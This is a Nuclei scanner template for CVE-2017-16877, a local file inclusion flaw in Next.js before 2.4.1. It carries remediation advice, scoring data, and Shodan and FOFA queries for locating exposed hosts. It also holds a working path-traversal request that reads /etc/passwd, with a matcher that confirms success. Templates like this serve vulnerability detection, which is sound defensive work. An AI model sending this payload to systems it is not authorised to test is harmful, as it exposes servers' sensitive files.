nuclei-templates/http/cves/2017/CVE-2017-16877.yaml

52 lines
1.9 KiB
YAML
Raw Normal View History

2021-02-26 15:05:49 +00:00
id: CVE-2017-16877
info:
name: Nextjs <2.4.1 - Local File Inclusion
2021-02-26 15:05:49 +00:00
author: pikpikcu
severity: high
description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
2023-09-06 13:22:34 +00:00
remediation: |
Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
reference:
- https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
- https://github.com/zeit/next.js/releases/tag/2.4.1
- https://nvd.nist.gov/vuln/detail/CVE-2017-16877
- https://github.com/vercel/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-16877
cwe-id: CWE-22
epss-score: 0.00337
epss-percentile: 0.71295
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: zeit
product: next.js
shodan-query:
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
2024-05-31 19:23:20 +00:00
fofa-query: body="/_next/static"
2023-12-05 09:50:33 +00:00
tags: cve,cve2017,nextjs,lfi,traversal,zeit
2021-02-26 15:05:49 +00:00
http:
2021-02-26 15:05:49 +00:00
- method: GET
path:
- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
2023-07-11 19:49:27 +00:00
part: body
2021-02-26 15:05:49 +00:00
regex:
- "root:.*:0:0:"
2021-02-26 15:05:49 +00:00
condition: and
- type: status
status:
- 200
# digest: 4b0a0048304602210091e1659aa1ea73b0c2a79a5a96a546013d45d612451c5fde63cd376044efbc04022100c0d6d79d63d1ae7522504b96170dfe21f937963d98b3849fc2d4df3b391bd19e:922c64590222798bb761d5b6d8e72950